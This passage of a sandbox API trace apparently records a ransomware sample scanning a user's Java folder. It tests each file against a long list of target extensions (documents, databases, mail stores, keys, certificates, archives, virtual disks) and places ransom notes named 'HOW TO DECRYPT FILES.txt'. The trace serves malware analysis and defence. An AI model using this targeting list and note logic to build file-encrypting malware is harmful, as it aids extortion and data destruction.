HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.djvu") returned 0 [0087.185] lstrlenA (lpString="*.djvu") returned 6 [0087.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.tiff") returned 0 [0087.185] lstrlenA (lpString="*.tiff") returned 6 [0087.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.backup") returned 0 [0087.185] lstrlenA (lpString="*.backup") returned 8 [0087.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.pdf") returned 0 [0087.185] lstrlenA (lpString="*.pdf") returned 5 [0087.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.cert") returned 0 [0087.185] lstrlenA (lpString="*.cert") returned 6 [0087.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.docm") returned 0 [0087.185] lstrlenA (lpString="*.docm") returned 6 [0087.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.xlsm") returned 0 [0087.185] lstrlenA (lpString="*.xlsm") returned 6 [0087.185] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.dwg") returned 0 [0087.186] lstrlenA (lpString="*.dwg") returned 5 [0087.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.nd") returned 0 [0087.186] lstrlenA (lpString="*.nd") returned 4 [0087.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.tlg") returned 0 [0087.186] lstrlenA (lpString="*.tlg") returned 5 [0087.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.lgb") returned 0 [0087.186] lstrlenA (lpString="*.lgb") returned 5 [0087.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.mov") returned 0 [0087.186] lstrlenA (lpString="*.mov") returned 5 [0087.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.xdw") returned 0 [0087.186] lstrlenA (lpString="*.xdw") returned 5 [0087.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.ods") returned 0 [0087.186] lstrlenA (lpString="*.ods") returned 5 [0087.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.wav") returned 0 [0087.186] lstrlenA (lpString="*.wav") returned 5 [0087.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.mp3") returned 0 [0087.186] lstrlenA (lpString="*.mp3") returned 5 [0087.186] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.aiff") returned 0 [0087.186] lstrlenA (lpString="*.aiff") returned 6 [0087.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.flac") returned 0 [0087.187] lstrlenA (lpString="*.flac") returned 6 [0087.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.m4a") returned 0 [0087.187] lstrlenA (lpString="*.m4a") returned 5 [0087.187] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab", pszSpec="*.csv") returned 0 [0087.187] lstrlenA (lpString="*.csv") returned 5 [0087.187] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1 [0087.187] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0087.187] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jre1.7.0_45.msi") returned -1 [0087.187] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jre1.7.0_45.msi") returned -1 [0087.187] lstrcmpiA (lpString1="", lpString2="jre1.7.0_45.msi") returned -1 [0087.187] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned="Data1.cab" [0087.187] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\" [0087.187] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="" [0087.187] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\HOW TO DECRYPT FILES.txt" [0087.187] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\how to decrypt files.txt")) returned 0x2020 [0087.188] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\", lpString2="jre1.7.0_45.msi" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" [0087.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.ems") returned 0 [0087.188] lstrlenA (lpString="*.ems") returned 5 [0087.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.db") returned 0 [0087.188] lstrlenA (lpString="*.db") returned 4 [0087.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.dbf") returned 0 [0087.188] lstrlenA (lpString="*.dbf") returned 5 [0087.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.myox") returned 0 [0087.188] lstrlenA (lpString="*.myox") returned 6 [0087.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.myo") returned 0 [0087.188] lstrlenA (lpString="*.myo") returned 5 [0087.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.qbw") returned 0 [0087.188] lstrlenA (lpString="*.qbw") returned 5 [0087.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.qbb") returned 0 [0087.188] lstrlenA (lpString="*.qbb") returned 5 [0087.188] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.qbm") returned 0 [0087.189] lstrlenA (lpString="*.qbm") returned 5 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.qbo") returned 0 [0087.189] lstrlenA (lpString="*.qbo") returned 5 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.qbx") returned 0 [0087.189] lstrlenA (lpString="*.qbx") returned 5 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.qba") returned 0 [0087.189] lstrlenA (lpString="*.qba") returned 5 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.qby") returned 0 [0087.189] lstrlenA (lpString="*.qby") returned 5 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.qbj") returned 0 [0087.189] lstrlenA (lpString="*.qbj") returned 5 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.ofx") returned 0 [0087.189] lstrlenA (lpString="*.ofx") returned 5 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.qif") returned 0 [0087.189] lstrlenA (lpString="*.qif") returned 5 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.mye") returned 0 [0087.189] lstrlenA (lpString="*.mye") returned 5 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.mbox") returned 0 [0087.189] lstrlenA (lpString="*.mbox") returned 6 [0087.189] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.eml") returned 0 [0087.190] lstrlenA (lpString="*.eml") returned 5 [0087.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.pst") returned 0 [0087.190] lstrlenA (lpString="*.pst") returned 5 [0087.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.ost") returned 0 [0087.190] lstrlenA (lpString="*.ost") returned 5 [0087.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.idx") returned 0 [0087.190] lstrlenA (lpString="*.idx") returned 5 [0087.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.dbx") returned 0 [0087.190] lstrlenA (lpString="*.dbx") returned 5 [0087.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.sql") returned 0 [0087.190] lstrlenA (lpString="*.sql") returned 5 [0087.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.mdb") returned 0 [0087.190] lstrlenA (lpString="*.mdb") returned 5 [0087.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.fdb") returned 0 [0087.190] lstrlenA (lpString="*.fdb") returned 5 [0087.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.wab") returned 0 [0087.190] lstrlenA (lpString="*.wab") returned 5 [0087.190] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.dat") returned 0 [0087.191] lstrlenA (lpString="*.dat") returned 5 [0087.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.txt") returned 0 [0087.191] lstrlenA (lpString="*.txt") returned 5 [0087.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.jpeg") returned 0 [0087.191] lstrlenA (lpString="*.jpeg") returned 6 [0087.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.jpg") returned 0 [0087.191] lstrlenA (lpString="*.jpg") returned 5 [0087.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.png") returned 0 [0087.191] lstrlenA (lpString="*.png") returned 5 [0087.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.php") returned 0 [0087.191] lstrlenA (lpString="*.php") returned 5 [0087.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.cs") returned 0 [0087.191] lstrlenA (lpString="*.cs") returned 4 [0087.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.cpp") returned 0 [0087.191] lstrlenA (lpString="*.cpp") returned 5 [0087.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.rar") returned 0 [0087.191] lstrlenA (lpString="*.rar") returned 5 [0087.191] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.zip") returned 0 [0087.191] lstrlenA (lpString="*.zip") returned 5 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.html") returned 0 [0087.192] lstrlenA (lpString="*.html") returned 6 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.htm") returned 0 [0087.192] lstrlenA (lpString="*.htm") returned 5 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.xlsx") returned 0 [0087.192] lstrlenA (lpString="*.xlsx") returned 6 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.xls") returned 0 [0087.192] lstrlenA (lpString="*.xls") returned 5 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.mp4") returned 0 [0087.192] lstrlenA (lpString="*.mp4") returned 5 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.ppt") returned 0 [0087.192] lstrlenA (lpString="*.ppt") returned 5 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.pptx") returned 0 [0087.192] lstrlenA (lpString="*.pptx") returned 6 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.doc") returned 0 [0087.192] lstrlenA (lpString="*.doc") returned 5 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.dot") returned 0 [0087.192] lstrlenA (lpString="*.dot") returned 5 [0087.192] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.docx") returned 0 [0087.193] lstrlenA (lpString="*.docx") returned 6 [0087.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.7z") returned 0 [0087.193] lstrlenA (lpString="*.7z") returned 4 [0087.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.tar") returned 0 [0087.193] lstrlenA (lpString="*.tar") returned 5 [0087.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.bz2") returned 0 [0087.193] lstrlenA (lpString="*.bz2") returned 5 [0087.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.gz") returned 0 [0087.193] lstrlenA (lpString="*.gz") returned 4 [0087.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.mkv") returned 0 [0087.193] lstrlenA (lpString="*.mkv") returned 5 [0087.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.eml") returned 0 [0087.193] lstrlenA (lpString="*.eml") returned 5 [0087.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.msg") returned 0 [0087.193] lstrlenA (lpString="*.msg") returned 5 [0087.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.edb") returned 0 [0087.193] lstrlenA (lpString="*.edb") returned 5 [0087.193] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.accdb") returned 0 [0087.193] lstrlenA (lpString="*.accdb") returned 7 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.odb") returned 0 [0087.194] lstrlenA (lpString="*.odb") returned 5 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.java") returned 0 [0087.194] lstrlenA (lpString="*.java") returned 6 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.asm") returned 0 [0087.194] lstrlenA (lpString="*.asm") returned 5 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.pfx") returned 0 [0087.194] lstrlenA (lpString="*.pfx") returned 5 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.pem") returned 0 [0087.194] lstrlenA (lpString="*.pem") returned 5 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.p12") returned 0 [0087.194] lstrlenA (lpString="*.p12") returned 5 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.gpg") returned 0 [0087.194] lstrlenA (lpString="*.gpg") returned 5 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.vsd") returned 0 [0087.194] lstrlenA (lpString="*.vsd") returned 5 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.odg") returned 0 [0087.194] lstrlenA (lpString="*.odg") returned 5 [0087.194] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.raw") returned 0 [0087.194] lstrlenA (lpString="*.raw") returned 5 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.nef") returned 0 [0087.195] lstrlenA (lpString="*.nef") returned 5 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.svg") returned 0 [0087.195] lstrlenA (lpString="*.svg") returned 5 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.psd") returned 0 [0087.195] lstrlenA (lpString="*.psd") returned 5 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.vmx") returned 0 [0087.195] lstrlenA (lpString="*.vmx") returned 5 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.vmdk") returned 0 [0087.195] lstrlenA (lpString="*.vmdk") returned 6 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.vdi") returned 0 [0087.195] lstrlenA (lpString="*.vdi") returned 5 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.lay6") returned 0 [0087.195] lstrlenA (lpString="*.lay6") returned 6 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.mpeg") returned 0 [0087.195] lstrlenA (lpString="*.mpeg") returned 6 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.djvu") returned 0 [0087.195] lstrlenA (lpString="*.djvu") returned 6 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.tiff") returned 0 [0087.195] lstrlenA (lpString="*.tiff") returned 6 [0087.195] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.backup") returned 0 [0087.196] lstrlenA (lpString="*.backup") returned 8 [0087.196] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi", pszSpec="*.pdf") returned 0 